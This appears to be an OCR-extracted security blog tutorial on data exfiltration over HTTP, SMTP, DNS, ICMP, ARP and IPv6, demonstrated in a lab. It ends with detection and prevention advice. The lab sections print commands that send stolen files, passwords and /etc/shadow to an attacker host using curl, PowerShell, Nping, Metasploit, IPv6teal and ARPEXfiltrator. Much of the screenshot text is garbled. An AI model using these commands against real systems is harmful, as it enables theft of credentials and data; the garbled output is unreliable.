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Data exfiltration is a technique used by malicious actors to carry out an unauthorized data
transfer from a computer resource. Data exfiltration can be done remotely or locally and can
be difficult to detect from normal network traffic.

Types of data that are targeted include: Usernames, associated passwords and other system
authentication-related information, cryptographic keys, financial records, information
associated with strategic decisions, and mailing addresses with content or what is valuable
data for a cyber attacker. The damages can immeasurable when the organization’s most
valuable data is in the hand of a cyber attacker.

Advanced Persistent Threats (APTs) are one form of cyberattack in which data exfiltration is
often a primary goal. The goal of an APT is to gain access to a network, but remain
undetected as it stealthily seeks out the most valuable or target data.
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Usually, attackers use covert channels for data exfiltration because covert channels are
usually very difficult to detect due to their ability to use existing legitimate connections or
protocols. A covert channel is a method of data transfer between two parties (usually a
malicious insider and a malicious outsider) over a medium that is not supposed to be allowed
to communicate by the computer security policy. The Trusted Computer System Evaluation
Criteria (TCSEC) defines two kinds of covert channels:

o Storage channels, which communicate by modifying a ‘storage location’, such as a
hard drive.

o Timing_channels, which perform operations that affect the ‘real response time
observed’ by the receiver.

Unfortunately, an attacker does not need to use advanced tools to exfiltrate data. They can
use very simple techniques for stealing and transferring data from an internal network to an
attacker domain such as HTTP/HTTPS, SMTP, DNS, SMTP, P2P, VPN or even the ARP
method for data exfiltration. For example, the MITRE ATT&CK framework exfiltration tactic
(TAOO10) describes how an attacker can take data collected within a target network and
exfiltrate it outside the network to systems under the attacker’s control.

In this post, | will review a few common data exfiltration techniques in a lab environment. |
will also highlight the best practices for detecting and preventing data exfiltration attacks.

Note: All the cases in this post were tested in a sandbox environment for educational
purposes only. The site owners, publisher and the author cannot be held responsible for any
damages caused.

In the post ‘Target Data’ means malicious actors want to steal, copy and transfer to the
attacker command and control (C&C) channel or an alternative channel.

Hypertext Transfer Protocol (HTTP)

Attackers often use HTTP to exfiltrate data because this traffic is very common in enterprise
networks and is always permitted. The high volume of HTTP traffic traversing enterprise
networks can allow attackers to hide their evil motivation and allow data mixing with
legitimate traffic.

POST is an HTTP method designed to send data to the server from an HTTP client. The
HTTP POST method requests the web server to accept the data enclosed in the body of the
POST message. It is often used when uploading a file or when submitting a completed web
form. Usually, there is no limit to the amount of data that can be transferred using this
method, except the limit imposed by the web server — if the file size is too large for the web
server to handle in a single POST request, it can be split up and sent in multiple requests.
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Attackers can configure the web server to respond to only specific types of requests, which
allows attackers to remain stealthy. For example, the server only accepts requests from
specific user-agents that are only known by the attacker.

Rising_Sun is a modular backdoor malware that can send data gathered from the infected
machine via an HTTP POST request to the command and control (C2) server. This malware
has been observed targeting nuclear, defence, energy, and financial service companies
across the world.

The following basic example of data exfiltration (Figures 1-7) relies on HTTP POST. The lab
environment consists of one server as an HTTP web server with logging capabilities, and
another that is considered a compromised host, which will send the stolen data using the
compromised system’s available tools without installing any additional software. One such
tool is cURL, which is a library and command-line tool for transferring data using various
protocols. When used for data exfiltration processes, cURL can POST a file to an attacker’s
web server from a compromised linux host, as shown in Figure 1:

$ cat credit_info.txt

\AAA BBBB CCCC ABC MM/YY
ODDDD EEEE FFFF ABC MM/YY Attacker target Data
GGG HHHH IIII ABC MM/YY

which curl
fusr/bin/curl

= curl -X POST -d @/home/linserver/Desktop/credit info.txt 192.168.85.130:8008
AAAA BBBB CCCC HE‘C MM/YYDDDD EEEE FFFF ABC MM/YYGGGG HHHH IIII ABC MM/YY = 5 I

Figure 1 — cURL command for POST file to attacker server.
The attacker can then listen and capture the incoming ‘Exfil Data’, as shown in Figure 2:
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Figure 2 — Attacker server response with cURL POST command executed from the victim
host.

If the victim host is a Windows platform, the attacker can use the PowerShell command to
send a file using the HTTP POST method over TCP port 80, as shown in Figure 3:
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EN Administrator: Windows PowerShell
S C:\> type .\Password.txt

assword12345

Get-Content

[GRGRG R

PowerShell Code send file using

volk a—w, Yann < - /107 Q Q 0 - 2ONR
Invoke-WebRequest http://192.168.85.130:8008 POST
tatusCode =
tatusDescription
Content = 7, 100, 109, 105...}
awContent : HTTP/1.0 200 OK
Date: Wed, 02 Feb 2022 10:48:48 GMT
server: BaseHTTP/0.6 Python/3.9.2
admin password12345 .

eaders : {[Date, Wed, 02 Feb 2022 10:48:48 GMT], [Server, BaseHTTP/0.6 Python/3.9.2]}
awContentLength : 19

Figure 3 — PowerShell code for HTTP POST from the victim host.
The attacker server response with the above command is shown in Figure 4:

POST / HTTP/1.1 File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
User-Agent: Mozillas5.8 (Windows NT;| Windows NT 18.8; en-US) WindowsPowerShell/ i = 3 7 =
393 BT ® AL q = = ==

ent-Type: application/x-www-forsl-urlencoded
: 192.168.85.130:8008
t-Length: 19 . kali@kali: ~/Desktop/http
Expect: 188-continue
Connection: Keep-Alive File Actions Edit View Help

admin password12345HTTP/1.8 200 OK kali@kali: ~/Desktop/http = root@kali: fnome/fkali/Desktop/http =
Server: BaseHTTP/8.6 Python/3.9.2

Date: Wed, 82 Feb 2022 10:48:48 GMT “'/D?Sktﬂp/http
admin password12345 ; Ll httpl.
stening on http://192.168.85.13 08

5 - - [02/Fe 022 05:48:48] "POST / HTTP/1.1 00 -
Use e ozil 5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShel
HTTP Stream Content : ap 1/ X~ www-form-urlencoded
Host: 1 8
Content-Length: 19
Expect: 10@-continue
Connection: ep-Alive

admin password12345
n

Figure 4 — HTTP POST received from the victim to the attacker listing server.

Attackers can even encrypt or compress the target data before sending it to their server
(Figure 5). Most of the time this is considered as ‘stealth exfiltration’ because it seems to be
legitimate traffic and usually raises no alarm to monitoring systems.

Attacker send encrypted data using PowerShell code

Figure 5 — Victim host to attacker control system communication with encrypted Payload
using HTTP POST.

4/15



After the PowerShell code is executed, the following HTTP POST, along with encrypted
payload/data requests, are sent to the attacker’s server (Figure 6).

httpl

YAdQAZAGSAMABOAGOAZABoAHOAYQBFAFEAPQA9AHWANGB1AGMAOQADADEAMOY

Wireshark - Follow HTTP Stream (tcp.stream eq 0) - ethD GUAOABhAGQANQA4ADEAZQBiADC
AyADcAZQAXAGYA

7 s |
User-Agent: Mozilla 5.8 (Windows NT; Windows NT 18.9; en-US) WindowsPowerShell/
5.1.14393.693

Encrypted Payload HTTP stream

76492d111674310423413b16050a5345MgBBAFgARQBDAHCAAABSAFgADAAZ AHY ADQAZAGSAMAB(AGEAZA

BoAHOAY(BFAFEAPQASAHWANGE1AGMADQABADEAMOB1AGYAMAASAG IAYWASADUAMABRADAAY QAWAD TAMQB1

AGIAZAAIADQANQASAGUAMGAJADC AMQAX ADUAZABRAGEADQASAD Y ADQASAGUADABNAGQANQAJADEAZQBLAD
AYQASADYAZABKADCAZ nAvAGMAMAASAD 0ANAWAGHAY W 1 ADKAMAATAGMAMAXAGUIAZ ARV ADCANAASAGMA |~

1 client pkt, 1 server pkt, 1 turn.

Figure 6 — HTTP POST along with encrypted payload received from the victim to the
attacker listing server.
Decrypting the data is an easy job for an attacker as they know the key (Figure 7).

ConvertTo-SecureString
tem.Runtime.InteropServi
al::SecureStringToBSTR(
shal::PtrToStrin §
ZeroFreeBSTR(

Figure 7 — Encrypted payload/data decryption.

The Simple Mail Transfer Protocol (SMTP)

SMTP is one of the most common methods for data exfiltration. Several malware programs
exfiltrate the stolen information to an attacker-controlled SMTP server. For example Agent
Tesla is a Windows-based keylogger and Remote Access Trojan (RAT) commonly uses
SMTP to exfiltrate stolen data.

Attackers can use the following PowerShell code (Figure 8) to send an email with an
attached file (stolen data) to exfiltrate a remote address:

! C: 0 10
SmtpServer
From #{sender} To #{receiver} Subject line H{target_data/file} #{remote_smtp_server}

Figure 8 — Victim host sends stolen data to the attacker-controlled email box using SMTP.
Figure 9 shows the ‘Successful Email Delivered’ to the attacker’s email box:
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Figure 9 — Exfiltrated data delivered to attacker’s email box.
The related SMTP streams are shown in Figure 10:

220 Exchange2016.  local Microsoft ESMTP MAIL Service ready at Thu, 3 Feb 2022 13:57:17 +0600
EHLO DC
250-Exchange?016. local Helo [10.10.10.1]
250-51ZE 37748736
250-PIPELINING
250-DN
MNHANCEDSTATUSCON
i&im TLS e SMTP Stream
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250-AUTH NTLM
250-X-EXPS GESAPL NTLM
250-8BITMIME
250-BINARYMIME
250-CHUNKING
250 XRDST
AUTH ntim TRMTVNT B Dy =
J_»il TRMT -'NI UMLWHQ&W;WFUQMQL[IHIZN
ARAAC A AERAT QACAAY ARDBIAEAAAQAY AELIAWABDAEGAQOBOAECARQAY ADMAMOAZ AAQAE . ABAADACWARLE I AMAACADIY AL g . (EAGEADAAFABTAZ OB o
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R‘|£<GWMM'IM‘1Pq 1 TGHGHAAAAAA==

TRMTVNTUAADAAAAGAAY AHWAAABAALIABIRAAAAY Al B,EIYMW ASAFAAAAAEAAQALAAAAAAAMADUAGAAE Y KT 0gaADT gAAMAPY knSPOMSEmaTx JxlmE +Fk Y ASQEOAEE, 1AAABAG ASTRAMaNMO4

mNELDOERAD) iy TGNgBL LABE + Wigh GAGAEY ASQBCANEAGABFAF GAQWBLAEEAT oBl uum.,:\.msm.,mmz.,umcm.zhmu WERAGHANRASAELAEABIAGIAY QELAG Ul_Q\H\.DJ\n\?'!Qk.'\.C-tMl,LIMuML BSAGANY WBHAGHABQASAGY Aal QEIul\C ANBARY
AARAAAAAARARAAAAA

%VQYQHSMJ\R..'\LU" 0] ¥ ALY Y ABAACARAACAR AL '/ o BEUZ0Y XMty NI e COAMAFMAT QEUAFAALIWEWAEMALWAXADAAL gAXADAALGAXADAAL gAx A
100 Unsisccessfl

MIME Version:

"32? 13:57:23 +0600
amn Chver watve Protocol T104E)

—houndary_1_do7hith5-8a6e-ddes-hiZI-daladethifre
Content-Type: text/plan; charset=us-ascl
Content-Transfer-Encodng: queted-prntable

------ clary_1_dbTlaf5h5-BaGe-Sdes-bi2-4aladeIbRiTe
Lar(e-\( Type: am.k.am foctet-streamy rame=stolenpassword
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Figure 10 — SMTP streams.

Domain Name System (DNS)

The DNS is the hierarchical and decentralized naming system used to identify computers,
services, and other resources reachable through the Internet or other Internet Protocol (IP)
networks. This protocol works through TCP/UDP port 53 by default and is used only to
exchange specific data.

During the exfiltration phase, the attacker makes a DNS query (initiates a domain name
resolution request) to an external DNS server address. Such requests are not usually
blocked by security perimeters. Without responding with an A record in response, the
attacker’s name server will respond with CNAME/MX or a TXT record that allows the data to
be sent between them and the victim.

The attacker can then use the following tools to extract files:
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DNSMessenger is a RAT used to conduct malicious PowerShell commands on
compromised computers. DNSteal is a tool that creates a fake DNS server that allows
attackers to stealthily extract files from a victim machine through DNS requests. This
tool also supports Gzip file compression.

Figure 11 shows the attacker running the DNSteal tool with a -z parameter (transferred file
was compressed/zipped by default in their attacker-controlled name server):

Figure 11 — The DNSteal tool showing the attacker’s name system.
From the victim system (Figure 12), it tries to send the targetdata.txt file over the DNS
connection using the following command:

Figure 12 — The victim system sends the targetdata.txt file over the DNS.
Finally, the attacker’s name server receives the target data (Figure 13).
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kali: /ho: op * kali@kali: ~/Desktop/dnsteal/dnsteal =

Figure 13 — The attacker’s name server receives the target data using DNS as a
communication protocol.

Internet Control Message Protocol (ICMP)

ICMP is a supporting protocol in the Internet protocol suite and is widely known for its
applications such as ping or traceroute. Malicious actors can use ICMP to exfiltrate data, by
taking advantage of organizations that allow outbound ICMP traffic. A common example of
this is the Windows malware Pingback, which uses ICMP for its C2 activities.

Metasploit have a module that will receive the exfiltrated data over ICMP from the victim
host. For exfiltrated data, it needs a tool name Nping (Nping comes with Nmap). The
Metasploit module server-side component receives and stores files exfiltrated over ICMP
echo request packets.

Figure 14 shows the Metasploit listener machine on the attacker’s side, following the load
and run module:

Figure 14 — Metasploit module load and run for ICMP ping replies from the victim.
Figure 15 shows an example of the victim host using the following command:
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ont@ubunLu:fhume{ltnserVEIfDesktopﬁ nping --icmp

Starting Nping 0.7.80 ( https://nmap.org/nping )
ENT (©.8346s) ICMP [192.168.85.136 > 192.168.85.
CVD (©.0354s) ICMP [192.168.85.138 > 192.168.85.
RCVD (0.0680s) ICMP [192.168.85.130 > 192.168.85.

ax rtt: 33.257ms | Min rtt: 0.647ms | Avg rtt: 1
Raw packets sent: 1 (45B) | Recvd: 2 (92B) | Lost:
ping done: 1 IP address pinged in 1.87 seconds

root@ubuntu: /home /linserver [Desktop#
root@ubuntu: fhome/linserver /Desktop# nping --icmp

Starting Nping 0.7.80 ( https://nmap.org/nping )
SENT (0.0396s) ICMP [192.168.85.136 > 192.168.85.
RCVD (0.0402s) ICMP [192.168.85.130 > 192.168.85.
RCVD (0.0632s) ICMP [192.168.85.130 > 192.168.85.

.409ms | Min rtt: 6.396ms | Avg rtt: 1
sent: 1 (678) | Rcvd: 2 (113B) | Lost
1 IP address pinged in 1.89 seconds
: /home /1inserver /Desktop#
root@ubuntu: /home/linserver /Desktop# nping --icmp
tarting Nping 0.7.80 ( https://nmap.org/nping )
[SENT (0.0384s) ICMP [192.168.85.136 > 192.168.85.

RCVD (0.0732s) ICMP f]92.168.85.13ﬂ > 192.168.85.

ax rtt: 34.668ms | Min rtt: 1.081ims | Avg rtt: 1
Raw packets sent: 1 (41B) | Rcvd: 2 (92B) | Lost:
ping done: 1 IP address pinged in 1.87 seconds

root@ubuntu: /home/linserver/Desktop# [

192.168.85.130 --data-string "BOFstoleninfo.txt" -ci

at 2022-02-03 04:50 PST

130 Echo request (type=8/code=0) id=106181 seq=1] IP [ttl=64 1d=24687 iplen=45 ]
136 Echo reply (type=8/code=0) 1d=10181 seq=1] IP [ttl=64 1d=51693 iplen=45 ]
136 Echo reply (type=0/code=0) 1d=10181 seq=1] IP [ttl=32 1id=59626 iplen=32 ]

6.952ms
0 (0.00%)

192.168.85.130 --data-string "ABCDE XYZ 1111 2222 3333 4444 81/62 123" -c1

at 2022-82-83 04:50 PST

130 Echo request (type=8/code=0) 1d=40624 seq=1] IP [ttl=64 1d=40079 iplen=67 ]
136 Echo reply (type=8/code=8) 1d=408624 seq=1] IP [ttl=64 1d=57686 iplen=67 ]

136 Echo reply (type=0/code=0) 1d=40624 seq=1] IP [ttl=32 1d=49273 iplen=38 ]

1.962ms
: 0 (0.00%)

192.168.85.130 --data-string "EOFstoleninfo” -ci
at 2022-82-83 84:51 PST

130 Echo request (type=8/code=0) id=42443 seq=1] IP [ttl=64 id=9305 iplen=41 ]

.136 Echo reply (type=0/code=0) 1d=42443 seq=1] IP [ttl=64 1d=58852 iplen=41 ]

136 Echo reply (type=8/code=8) 1d=42443 seq=1] IP [ttl=32 1d=40562 iplen=36 ]

7.874ms
8 (0.00%)

Figure 15 — Victim uses the Nping tool to send stolen data using ICMP.
In the first command, Nping will send data via ICMP. This will show up as stoleninfo.txt in the
attacker’s machine. The second command sends the target data and final packets containing

the ‘EOF’ string. This tells the Met
completed.

In the attacker Metasploit module

(]

s 6

1ary
auxiliary(

>

m ) » show option

Module options (auxiliary/server/icmp_exfil):

ET Current Setting
BPF_FILTER
END_TRIGGER
FNAME _IN_PACKET
INTERFACE
RESP_CONT
RESP_END
RESP_START
START_TRIGGER

icmp and not
“EOF

true

ethe

OK

COMPLETE
SEND

“BOF

msf6 auxiliary( ) > run
ICMP Listener started on eth® (192.168.85.1
Filename in initial packet, direct
Beginning capture of "stoleninfo.txt™ data
39 bytes of data recevied in total

End of File received. Saving "stoleninfo.tx
Incoming tile “stoleninto.txt- saved to loo

expected

src 192.168.85.

asploit module that data exfiltration over ICMP is

(Figure 16) we found the following:

Required Description

BFP format filter to listen for

Trigger for end of file

Filename presented in first packet straight after START_TRIGGER
The name of the interface

Data ro resond when continuation of data expected

Data to response when EOF received and data saved

Data to respond when initial
Trigger for beginning of file

yes
yes
yes
no

yes
yes
ves
yes

trigger matches

30). Monitoring for trigger packet containing “BOF

ly following trigger (e.g. "BOFfilename.ext)

t loot

T

to

Loot filename: /root/.msf4/loot/20220203075

107 _default_192.168.85.130_icmp_exfil_542009.txt

File Actions Edit View Help

fhnnefkali{.nsfhclnnt

root @kali: Tlhomefkali/.msfd/loot

.msth4/loot

Jroot/

20228203075107 detault

192.168.85.130 jcmp extil 547009.Txt

ABCDE XYZ 1111 2222 3333 4444 @01/02 123

Stolen Data

e /home/kali/.msf4/loot

Figure 16 — Exfiltrated data stored in the attacker machine using ICMP.
The packet capture shows data is transferred via the ICMP protocol (Figure 17):




*ethO - 0 X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A = @Ml RNC QesE=EF S =Eaaaqarif

[ W [iemp [X] *] +
No. Time Source Destination Protocol Length info
27 125.113774605 192.168.85.136 192.168.85.130 ICMP 60 Echo (ping) request 1d=0x27c5, seq=1/256, ttl=64 (rep
28 125.113897888 192.168.85.130 192.168.85.136 ICMP 59 Echo (ping) reply id=0x27c5, seq=1/256, ttl=64 (req
29 125.146550854 192.168.85.130 192.168.85.136 ICMP 46 Echo (ping) reply id=0x27c5, seq=1/256, ttl=32
42 156.93631d65? 192.168.85.136 192.168.85.138 I1CMP Bl Echo (ping) request 1d*9!9909. seq= 1!255. ttl= 64 (rep
: 92.168.85.136 §2.168.85.136 MP ( . D, :
,'5 419256 x .85, . .85, reply 0, 6,
4? 176.504254657 192.168.85.136 192.168.85.130 ICMP 60 Echo (ping) reguest id= @xa5cD, seq= 1(255, ttl=64 (rep
48 170.504325391 192.168.85.130 192.168.85.136 ICMP 55 Echo (ping) reply id=6xa5cb, seq=1/256, ttl=64 (req
49 170.538541294 192.168.85.138 192.168.85.136 ICMP 50 Echo (ping) reply id=exab5cb, seq=1/256, ttl=32
4 »
Code: © -

Checksum: 8x19a4 [correct]
[Checksum Status: Good]

Identifier (BE): 48624 (8x%eb@)
Identifier (LE): 45214 (GxbB%e)
Sequence Number (BE): 1 (©x@661)
Sequence Number (LE): 256 (0x0108)
Request frame: 42

[Respcnse time: 0.119 ms]

- Data (39 bytes)

[Length: 301 : ; —

80 Bc 29 c7 19 4a 00 Bc 29 bP e3 T4 OB 80 45 00 }:-d
00 43 el 56 00 0O 40 61 6d ©8 c® aB 55 B2 c@ aﬁ b
0020 55 BS GB BB 19 a4 9e be u BCDI
YZ 222
33 4444 01/02

39 31 2r 3@ 32 20 31 32

33 33 29 34 34 34 34 20

Figure 17 — ICMP data exfiltration packet capture.

Address Resolution Protocol (ARP)

ARP is a communication protocol used for discovering link-layer addresses, such as a MAC
address, associated with a given Internet layer address. The ARP protocol also allows data
to be transferred in local networks (outside the Local Area Network (LAN) it will not work).

An attacker can exfiltrate data via the ARP protocol using ARPEXfiltrator. This tool has two
parts:

1. Sender script, which runs on the victim machine.
2. Receiver script, which runs on the attacker’s machine with root privilege.

The sender encodes the string buffer using the base64 algorithm and sends each letter of
the encoded string as a network IPv4 address. The receiver matches each letter with a
shared list of IPv4 addresses and decodes the received base64 encoded string.

The process starts with a ‘receiver script’ on the attacker’s machine (Figure 18):

Figure 18 — ‘Receiver script’ running on

the attacker’s machine.
The victim host then tries to send the /etc/shadow file using the sender script (Figure 19):
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Figure 19 — Victim sends /etc/shadow content to the attacker host using ARPEXfiltrator.
The attacker server receives the stolen data from the victim using ARPEXfiltrator (Figure 20):

receiver.py
root:': THUBEEEEE B R
daemon:*x:18667:0:99999:7 :::
bin:*:18667:0:99999:7
SyS:%:18667:0:99999:7 :::
Sync:*:18667:0:99999:7 :::
games:*:18667:0:99999:7 ::: Exfiltrated
man:*:18667:0:99999:7 :::
lp:*:18667:0:99999:7 ::: data over ARP
mail:*:18667:0:99999:7 :::
news:+:18667:0:99999:7 :::
Uucp:*:18667:0:99999:7 :::
proxy:*:18667:0:99999:7 :::

QqQaqQ =7

Figure 20 — Attacker server listens for exfiltrated data over ARP.
The sender script enables a 1 command in ARP Opcode — the Opcode field in the ARP
message specifies the nature of the ARP message where 1 is for the ARP request and 2 is
for the ARP reply. This results in a huge number of ARP request messages being sent in the
LAN, as can be seen in Figure 21:
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dAmomiREO QesEFEFaaalr

W [arp.src.proto_ipv4==192.168.85.136 [X]

lo. Time Source Destination Protocol Lengtt Info
2373 28.059750570 VMware_c7:19:4a 00:00:00_00:00:00 ARP 60 Who has 208.94.146.807 Tell 192.168.85.136
2374 28.070902340 VMware_c7:19:4a 00:00:00_00:00:00 ARP 60 Who has 69.63.187.197 Tell 192.168.85.136
23?5 28.081783431 VHware c7:19:4a 00:00:00 90?9@:99 ARP 60 Who has 207.97.227.2397 Tell 192.168.85.136

09302068 18914 B0 :00: 100 : 06 AR b 1 ol o . [ 92.168.85. b

2377 28104152726 VHware_c?:19:4a 69:00:98“98:96:99 ARP 60 Who has 64.288.126.677 lell 192.168.85.136
2378 28.115158840 VMware_c7:19:4a 00:00:00_00:00:00 ARP 60 Who has 69.63.187.19?7 Tell 192.168.85.136
2379 28.126297568 VMware_c7:19:4a 00:00:00_00:00:00 ARP 60 Who has 95.211.143.2087 Tell 192.168.85.136
2380 28.141444683 VMware _c7:19:4a 00:00:00_00:00:00 ARP 60 Who has 209.31.22.397 Tell 192.168.85.136
2381 28.148457885 VMware_c7:19:4a 00:00:00_00:00:00 ARP 66 Who has 64.208.126.677 Tell 192.168.85.136
2382 28.159265960 VMware_c7:19:4a 00:00:00_00:60:00 ARP 60 Who has 208.94.146.807 Tell 192.168.85.136

» Frame 2376: 60 bytes on wire (480 bits), 60 bytes captured (486 bits) on interface eth®, id @

v+ Ethernet II, Src: VMware_c7:19:4a (00:0c:29:c7:19:4a), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)

~ Address Resolution Protocol (request)
Hardware type: Ethernet (1)
Protocol type: IPv4 (Ox0800)
Hardware size: 6 }?” Re iact OIne

Protocol size: 4 ARP Request Uf
e request (1),

Srge . =

Sender IP address: 192.168.85.136
Target MAC address: 00:00:00_60:00:00 (00:00:00:00:00:00)
Target IP address: 31.7.57.13

00 20 00 00 90 00 @9 Bc 29 c7 19 4a 08 06 00 1

0016 ©8 90 06 04 [JENEE €0 0c 29 c7 19 4a cO aB 55 B8 - -}
00 00 90 00 OO0 00 1f 67 39 @d 60 00 60 06 60 00
00 90 @0 00 00 00 PO 00 0O 00 00 00

Figure 21 — ARP request operation code.

Exfiltration using IPv6

IPv6teal is a Python 3 tool that exfiltrates data from an internal network using a covert
channel built on top of the IPv6 header flow label field.

A flow is a group of packets, for example, a TCP session or a media stream. The special flow
label 0 means the packet does not belong to any flow. The purpose of the flow label is to
maintain the sequential flow of the packets belonging to a communication. The source labels
the sequence to help the router identify that a particular packet belongs to a specific flow of
information. Basically, it is designed to avoid reordering of data packets.

The IPv6teal tool can build a covert channel by storing data to exfiltrate in this field. The
exfiltration script sends one IPv6 packet per 20-bits of data, and the receiver script
reconstructs the data by reading this field. The payload of every IPv6 packet sent contains a
magic value, along with a sequence number, so the receiving end can determine which IPv6
packets are relevant for it to decode.

Figure 22 shows the IPv6teal ‘sender script’ running on a victim host:

ruutmutur‘tu .n’hune ].'LI'}SEF"PI' Desktop/IPv6teal-victim# python3 exfiltrate.py confidential.txt fe80::20c:29ff:febB:e3f4
30 IPv6 park(-r.

root@ubuntu: /home/1linserver/Desktop/IPv6teal-victim# [ |

Figure 22 — IPv6teal ‘sender script’ running on a victim host.

12/15


https://github.com/christophetd/IPv6teal
https://en.wikipedia.org/wiki/IPv6_packet#Fixed_header

Figure 23 shows the ‘IPv6teal receiver script’ running on the attacker-controlled machine; it is
trying to listen and capture the targeted data:

5 TP
65 IPvE

I 65 IPvE

IPvé 65 IFve

T 0. IPVE 65 IPvE
aff: fel IPve 85 I

(520 bits), 65 bytes captured (528 bits) on interface ethé, 1d @
119:4a (89:0c:29: Dst: VMware bB:ed:f4 (80:8c:20:b0:ed:f4)
~/Desktop/IPveteal = Interne B, Src: Tedd::B6Ta: fc72, Dsti TeBd::20c:207T:febd:e3rd

Target data

®3 14 90 Bc .}] }

18 EEEL 90 60 3b 40 fe 80 00 00 00 00 B 00 B6 Ta W 0
92 09 01 45 fc 72 fe B0 09 00 08 00 69 90 92 Gc Er
20 ff fe b8 e3 f4 48 45 d4c 4c 4 5f 35 38 34 SF ) HE
30 ]

Figure 23 — ‘IPv6teal receiver script’ and related streams.

Best practices for detecting data exfiltration

Detecting data exfiltration can be a difficult task and depends largely on the type of attack
method used. Cyber attackers use various sophisticated techniques, including various
legitimate processes that are more difficult to detect. Consequently, analysts can mistakenly
mark the data exfiltration traffic as regular network traffic.

To detect the presence of a malicious actor, more and more organizations are using
automated tools that detect in real-time malicious or unusual traffic automatically. The
Security Information and Event Management System (SIEM) is one such tool that can
monitor network traffic in real-time. Some SIEM solutions can even detect malware being
used to communicate with C2 servers.

Other best practices include:

* Monitoring for outbound traffic patterns as malware needs to regularly
communicate with C2 servers to maintain a consistent connection. Continuous
monitoring provides opportunities to detect data exfiltration with common protocols
such as HTTP:80 or HTTPS:443. It's worth keeping in mind that some advanced
malware randomize delays between C2 communications.

e Monitoring the volume and frequency of data transmission by organization users
over email. To do this we first need to calculate the average amount of data that
internal users send per day. If this average data size is exceeded (say by 5 or 10
times), this triggers an alert to be investigated.

+ Keeping an up-to-date log of all approved IP addresses connections to compare
against all new connections. Along with this, it's advised to keep an eye out for large
data flows to unexpected IP addresses and major spikes in anomalous outbound
traffic.
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Most of these practices require searching for known attack signatures and anomalies. From
this information, analysts can also build out the entire sequence of an event and map them to

a known attack framework.

Best practices for preventing data exfiltration

We can divide most effective preventive measures into three categories: Preventative,
Detective, and Investigative.

For example, we should ensure that only known acceptable services are permitted into the
network. If suspicious network services are running then effective detective controls can
trigger alerts, so analysts can investigate and take the appropriate measures immediately.

Preventative controls include: implementing and maintaining technical controls like ACL,;
deception techniques; encryption of data in process, transit, and at rest; host-based auditing

for identified security weaknesses; and remediation.

Investigative controls include various forensics actions as well as gathering intelligence
operations, so security teams can improve their knowledge base and create a custom
detection system that meets organizational-unique risk profiles.

The following are a few easy methods to prevent data exfiltration from occurring in your

network:

 Employee terminations: The Computer Emergency Response Team (CERT) at the

Software Engineering Institute of Carnegie Mellon University produced a paper

showing that employees were more likely to engage in data exfiltration when they
anticipated imminent termination. Prohibiting an employee’s access to IT systems

should happen immediately whenever an employee’s contract is
over/ended/terminated. The same is true of business partners or vendors.

e Block unauthorized communication channels: First, disable all unauthorized
communication channels, ports and protocols by default, and re-enable on an as-
needed basis.

Create a baseline of normal data flows: This includes amounts of data accessed or
transferred, and geographical locations of access against which to compare abnormal
behaviours.

Install proper technical controls to prevent phishing attacks: This also requires
educating users about how phishing attacks work, how to detect them, and what to do
when they believe they are facing one.

Develop Data Loss Prevention (DLP) solutions: DLP technology can analyse the
content of all data transfers to check for sensitive information against pre-existing
policies to detect suspicious activity. This combined with with logging can increase the
transparency of organizational data access and movement.
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+ Implement data encryption and data backup processes: Data encryption is a
security method where information is encoded and can only be accessed or decrypted
by a user with the correct encryption key. Encrypted data, also known as ciphertext,
appears scrambled or unreadable to a person or entity accessing it without permission.
Without a key, attackers have no way of understanding and using the data. Data
backups help restore lost data and resume operations while the data exfiltration attack
is being investigated. Encryption provides some protection by preventing access to
data by bad actors.

« Implement proper technical control: Restrict and monitor ingress and egress to
machines in the organization using networking rules, implement Identity and Access
Management (IAM), set up bastion hosts, use granular permissions, and grant access
to sensitive data only to those whose job function requires it.

In summary, reviewing common data exfiltration attack techniques can help analyse possible
attack surfaces and related detection capabilities. It also helps to improve the threat hunting
posture for an analyst, because detecting any instances of data exfiltration as early as
possible gives victims a chance to minimize the impact of a breach.

Debashis Pal is an Information Security Specialist from Bangladesh.
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